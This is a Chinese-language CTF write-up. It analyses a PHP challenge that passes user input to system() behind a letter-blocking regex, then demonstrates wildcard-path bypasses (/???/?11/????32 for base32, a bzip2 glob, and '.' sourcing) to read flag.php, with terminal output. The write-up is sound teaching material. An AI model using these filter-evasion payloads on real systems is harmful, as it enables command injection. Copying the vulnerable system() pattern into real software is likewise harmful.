先看一道題
<?php
error_reporting(0);
show_source(__FILE__);
if (isset($_GET['a'])) {
$c=$_GET['a'];
if (!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)) {
system($c);
}else {
echo "hacker!";
}
}
?>
代碼審計
過濾了字母 分號 反引號 百分號 和 %09 %26 <> 但是可以觀察到其實沒有過濾空格,
0x01使用 /???/?11/????32 進行繞過
Linux的bin目錄一般保存了所有的二進制命令, cat可以通過/bin/cat 代替,
哪種命令打開檔案還能帶有數字呢? 可以嘗試使用 base64 去打開檔案,將檔案以base64編碼輸出
最后只有/???/?11/????32可以
┌──(root💀kali)-[/var/www/html]
└─# /usr/bin/base32 flag.php
MZWGCZ33NBZWQZDIMFTWQ43EONUGOZTWMFTWIZ3WONQX2CQ=
┌──(root💀kali)-[/var/www/html]
└─# /???/?11/????32 ????????
MZWGCZ33NBZWQZDIMFTWQ43EONUGOZTWMFTWIZ3WONQX2CQ=

僅適用kali、ubuntu等、centos不適用


因為沒有centos 沒有base32
0x02 使用 /usr/bin/bzip2 去壓縮檔案夾繞過
查看可利用
┌──(root💀kali)-[/var/www/html]
└─# locate /???/???/????2
/usr/bin/bzip2
/usr/bin/bzip2recover
/usr/bin/exiv2
/usr/bin/ntlm2
/usr/bin/ragg2
/usr/bin/rasm2
/usr/lib/sasl2
1、/???/???/????2

2、/???/?11/????2

實驗環境沒效果

其他系統環境



只有/???/???/????2可以
0x03 使用點(.)去執行sh檔案
linux中.相當于source,可以直接執行sh檔案
不管有無檔案后綴名,都是根據命令來選擇打開檔案的方式,
使用.執行
kali-2021.2環境不行


換個Linux系統試試可以,誠不欺我!
centos 7 環境可以


ubuntu 12 環境可以


剛開始kali環境測驗不行,后來換其他系統環境可以,以為執行的成功與shell版本有關,最后發現,檔案內容僅有ls,也能被 . 執行成功
知識來源鏈接:命令執行-過濾了字母或者過濾了數字+字母的繞過方法 - Dark1nt - 博客園
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/399939.html
標籤:其他
上一篇:For回圈后回傳陣列
下一篇:在貓鼬模式中定義型別
